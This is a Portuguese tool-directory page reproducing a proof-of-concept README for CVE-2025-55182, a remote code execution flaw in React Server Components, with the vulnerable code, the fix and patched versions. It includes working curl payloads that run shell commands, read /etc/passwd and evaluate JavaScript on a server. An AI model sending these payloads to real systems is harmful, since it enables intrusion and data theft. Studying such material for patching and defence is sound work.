Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/joshterrill/cve-2025-55182-realistic-poc
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubjoshterrill/cve-2025-55182-realistic-poc

CVE-2025-55182-realistic-poc

uma POC realista demonstrando a verificação `hasOwnProperty` ausente em [email protected]

Ver Repositório
11há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-55182: RCE em React Server Components

Uma prova de conceito mínima demonstrando a vulnerabilidade crítica de Execução Remota de Código no [email protected].

O que é CVE-2025-55182?

Uma vulnerabilidade de RCE sem autenticação em React Server Components que permite a atacantes executar código arbitrário em servidores que usam o pacote vulnerável react-server-dom-webpack (versões 19.0.0 - 19.2.0).

Pontuação CVSS: 10 (Crítica)

Pacotes Afetados

  • react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0

Versões Corrigidas

  • 19.0.1, 19.1.2, 19.2.1

A Vulnerabilidade

Causa Raiz: Verificação hasOwnProperty Ausente

A vulnerabilidade existe na função requireModule dentro da implementação do protocolo Flight do React. Esta função carrega exportações de módulos com base em metadados recebidos de requisições de clientes.

Código Vulnerável ([email protected]):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  return moduleExports[metadata[NAME]];  // <-- No validation!
}

O problema: metadata[NAME] vem da entrada do usuário (a requisição HTTP). Um atacante pode especificar qualquer módulo e nome de exportação, como child_process#execSync.

A Correção (PR #35277)

Código Corrigido ([email protected]+):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

import hasOwnProperty from 'shared/hasOwnProperty';

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  // FIXED: Validate that the export actually exists
  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    return moduleExports[metadata[NAME]];
  }
  return (undefined: any);
}

A correção adiciona hasOwnProperty.call() para garantir que a exportação solicitada seja uma propriedade própria do módulo, não herdada da cadeia de protótipos ou resolvível dinamicamente para módulos perigosos.

Vetor de Ataque

  1. O atacante envia uma requisição HTTP POST forjada para um endpoint de ação do servidor
  2. A carga útil contém os campos $ACTION_REF_0 e $ACTION_0:0
  3. $ACTION_0:0 contém {"id":"child_process#execSync","bound":["whoami"]}
  4. decodeAction analisa isso e chama requireModule com metadados controlados pelo atacante
  5. requireModule retorna require('child_process').execSync
  6. A função é chamada com argumentos do atacante → RCE

Prova de Conceito

Configuração

root@kitploit:~
cd CVE-2025-55182-realistic-poc/
npm install
npm start
# starts on http://localhost:3000

Executar o RCE

root@kitploit:~
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

Saída Esperada:

root@kitploit:~
{"success":true,"result":"your-username\n"}

Outros Exemplos de Exploração

root@kitploit:~
# Read files
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Execute JavaScript
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'

Como Funciona

O Fluxo do decodeAction

root@kitploit:~
HTTP Request
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  decodeAction(formData, serverManifest)                     │
│  - Parses $ACTION_REF_0 to find action reference            │
│  - Parses $ACTION_0:0 to get {id, bound}                    │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  loadServerReference(serverManifest, id, bound)             │
│  - id = "child_process#execSync" (attacker controlled)      │
│  - bound = ["whoami"] (attacker controlled)                 │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  resolveServerReference(bundlerConfig, id)                  │
│  - Splits "child_process#execSync" into:                    │
│    specifier = "child_process"                              │
│    name = "execSync"                                        │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  requireModule(metadata)                     [VULNERABLE]   │
│  - Loads require("child_process")                           │
│  - Returns moduleExports["execSync"]                        │
│  - NO VALIDATION that "execSync" should be accessible       │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  action = execSync.bind(null, "whoami")                     │
│  result = action()  →  EXECUTES "whoami" ON SERVER          │
└─────────────────────────────────────────────────────────────┘

Referências

  • Aviso de Segurança do React: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
  • GitHub PR #35277 (Correção): https://github.com/facebook/react/pull/35277
  • Registro CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • Análise da Wiz: https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
  • Aviso do Next.js: https://nextjs.org/blog/CVE-2025-66478

Licença

MIT

Baixar ferramenta